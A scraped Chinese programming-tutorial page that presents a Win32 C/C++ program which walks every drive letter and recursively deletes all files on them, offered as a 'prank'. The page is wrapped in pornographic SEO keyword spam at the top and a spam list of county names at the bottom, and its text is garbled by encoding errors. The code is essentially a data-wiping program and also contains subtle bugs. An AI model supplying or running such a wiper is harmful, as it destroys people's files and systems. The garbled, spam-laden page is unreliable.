国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > C > 正文

基于Windows API實(shí)現(xiàn)遍歷所有文件并刪除的方法

2020-01-26 15:07:48
字體:
供稿:網(wǎng)友

本文實(shí)例講述了基于Windows API實(shí)現(xiàn)遍歷所有文件并刪除的方法。分享給大家供大家參考。具體分析如下:

最近一直在學(xué)windows API,弄了一些好玩的東西(有點(diǎn)惡作劇了,請大家謹(jǐn)慎使用)...
下面是我現(xiàn)學(xué)現(xiàn)賣寫的一個(gè)刪除硬盤上所有文件的小程序 ....

#include <windows.h>#include <stdio.h>#include <bitset>using namespace std;void DelFile(char *cFilePath){ WIN32_FIND_DATA data; HANDLE hFind; char cFullPath[100]; char cNewPath[100]; sprintf_s(cFullPath,"%s//*.*",cFilePath); hFind=FindFirstFile(cFullPath,&data); do { if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName))) {  continue; } if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY) {  sprintf_s(cNewPath,"%s//%s",cFilePath,data.cFileName);  DelFile(cNewPath);//遞歸 }// MessageBox(NULL,data.cFileName,"Look",0); sprintf_s(cFullPath,"%s//%s",cFilePath,data.cFileName); DeleteFile(cFullPath); }while(FindNextFile(hFind,&data));}int WINAPI WinMain( HINSTANCE hInstance,   // handle to current instance HINSTANCE hPrevInstance, // handle to previous instance LPSTR lpCmdLine,     // command line int nCmdShow       // show state){ DWORD dwDrive=GetLogicalDrives(); bitset<32> bit(dwDrive); char Path[3]={'a',':','/0'}; for(int ix=0;ix!=32;ix++) { if(bit.test(ix)) {  Path[0]='A'+ix;  DelFile(Path); } } return 0;}

希望本文所述對大家的win32程序設(shè)計(jì)有所幫助。

發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表

圖片精選

主站蜘蛛池模板: 利津县| 广德县| 博乐市| 大埔县| 安岳县| 平塘县| 永福县| 吉首市| 西平县| 广平县| 保亭| 钟山县| 城固县| 行唐县| 大同县| 浮梁县| 日照市| 云安县| 溆浦县| 油尖旺区| 江西省| 衡水市| 仁布县| 嘉兴市| 广元市| 十堰市| 格尔木市| 大悟县| 修武县| 喜德县| 子洲县| 麦盖提县| 迁西县| 吉木萨尔县| 苏尼特左旗| 弋阳县| 玛沁县| 淮北市| 芦山县| 佛教| 昌图县|